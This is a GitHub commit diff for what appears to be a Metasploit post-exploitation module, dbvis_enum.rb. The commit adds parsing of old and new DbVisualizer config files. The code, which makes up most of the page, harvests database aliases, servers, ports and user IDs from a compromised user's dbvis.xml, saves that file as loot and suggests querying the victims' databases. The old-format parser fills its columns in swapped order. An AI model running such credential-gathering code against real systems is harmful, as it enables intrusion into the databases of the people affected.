Skip to content

Commit f3d953f

Browse files
committed
Old config file update
Added functions to parse old and new config files.
1 parent ac3d453 commit f3d953f

File tree

1 file changed

+122
-39
lines changed

1 file changed

+122
-39
lines changed

modules/post/multi/gather/dbvis_enum.rb

Lines changed: 122 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -27,21 +27,9 @@ def initialize(info={})
2727
end
2828

2929
def run
30-
db_table = Rex::Ui::Text::Table.new(
31-
'Header' => "Dbvis Databases",
32-
'Indent' => 2,
33-
'Columns' =>
34-
[
35-
"Alias",
36-
"Type",
37-
"Server",
38-
"Port",
39-
"Database",
40-
"Namespace",
41-
"Userid",
42-
])
4330

44-
dbs = []
31+
32+
oldversion= false
4533

4634
case session.platform
4735
when /linux/
@@ -62,7 +50,9 @@ def run
6250
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
6351
end
6452

53+
6554
unless file?(dbvis_file)
55+
#File not found, we next try with the old config path
6656
print_status("File not found: #{dbvis_file}")
6757
print_status("This could be an older version of dbvis, trying old path")
6858
case session.platform
@@ -75,12 +65,11 @@ def run
7565
print_error("File not found: #{dbvis_file}")
7666
return
7767
end
68+
oldversion= true
7869
end
79-
80-
db = {}
81-
print_status("Reading: #{dbvis_file}")
82-
dbfound = false
8370

71+
72+
print_status("Reading: #{dbvis_file}")
8473
raw_xml = ""
8574
begin
8675
raw_xml = read_file(dbvis_file)
@@ -89,8 +78,61 @@ def run
8978
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
9079
return
9180
end
81+
82+
if oldversion
83+
# Parse old config file
84+
db_table=pareseOldConfigFile(raw_xml)
85+
else
86+
# Parse new config file
87+
db_table=pareseNewConfigFile(raw_xml)
88+
end
9289

93-
# read config file
90+
if db_table.rows.empty?
91+
print_status("No database settings found")
92+
else
93+
print_line("\n")
94+
print_line(db_table.to_s)
95+
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
96+
print_good("")
97+
# store found databases
98+
p = store_loot(
99+
"dbvis.databases",
100+
"text/csv",
101+
session,
102+
db_table.to_csv,
103+
"dbvis_databases.txt",
104+
"dbvis databases")
105+
print_good("Databases settings stored in: #{p.to_s}")
106+
end
107+
108+
print_status("Downloading #{dbvis_file}")
109+
p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config")
110+
print_good "dbvis.xml saved to #{p.to_s}"
111+
end
112+
113+
114+
# New config file parse function
115+
def pareseNewConfigFile(raw_xml)
116+
117+
db_table = Rex::Ui::Text::Table.new(
118+
'Header' => "Dbvis Databases",
119+
'Indent' => 2,
120+
'Columns' =>
121+
[
122+
"Alias",
123+
"Type",
124+
"Server",
125+
"Port",
126+
"Database",
127+
"Namespace",
128+
"Userid",
129+
])
130+
131+
dbs = []
132+
db = {}
133+
dbfound = false
134+
135+
# fetch config file
94136
raw_xml.each_line do |line|
95137
if line =~ /<Database id=/
96138
dbfound = true
@@ -145,7 +187,7 @@ def run
145187
end
146188
end
147189

148-
# print out
190+
# FIll the tab and report eligible servers
149191
dbs.each do |db|
150192
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
151193
print_good("Reporting #{db[:Server]} ")
@@ -154,27 +196,68 @@ def run
154196

155197
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
156198
end
199+
return db_table
200+
end
157201

158-
if db_table.rows.empty?
159-
print_status("No database settings found")
160-
else
161-
print_line("\n")
162-
print_line(db_table.to_s)
163-
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
164-
print_good("")
165-
# store found databases
166-
p = store_loot(
167-
"dbvis.databases",
168-
"text/csv",
169-
session,
170-
db_table.to_csv,
171-
"dbvis_databases.txt",
172-
"dbvis databases")
173-
print_good("Databases settings stored in: #{p.to_s}")
202+
203+
# New config file parse function
204+
def pareseOldConfigFile(raw_xml)
205+
206+
db_table = Rex::Ui::Text::Table.new(
207+
'Header' => "Dbvis Databases",
208+
'Indent' => 2,
209+
'Columns' =>
210+
[
211+
"Alias",
212+
"Type",
213+
"Url",
214+
"Userid",
215+
])
216+
217+
dbs = []
218+
db = {}
219+
dbfound = false
220+
221+
# fetch config file
222+
raw_xml.each_line do |line|
223+
if line =~ /<Database id=/
224+
dbfound = true
225+
elsif line =~ /<\/Database>/
226+
dbfound=false
227+
# save
228+
dbs << db if (db[:Alias] and db[:Url] )
229+
db = {}
230+
end
231+
232+
if dbfound == true
233+
# get the alias
234+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
235+
db[:Alias] = $1
236+
end
237+
238+
# get the type
239+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
240+
db[:Type] = $1
241+
end
242+
243+
# get the user
244+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
245+
db[:Userid] = $1
246+
end
247+
248+
# get the user
249+
if (line =~ /<Url>([\S+\s+]+)<\/Url>/i)
250+
db[:Url] = $1
251+
end
252+
end
174253
end
175254

176-
print_status("Downloading #{dbvis_file}")
177-
p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config")
178-
print_good "dbvis.xml saved to #{p.to_s}"
255+
# Fill the tab
256+
dbs.each do |db|
257+
db_table << [ db[:Alias] , db[:Type] , db[:Userid], db[:Url]]
258+
end
259+
return db_table
179260
end
261+
262+
180263
end

0 commit comments

Comments
 (0)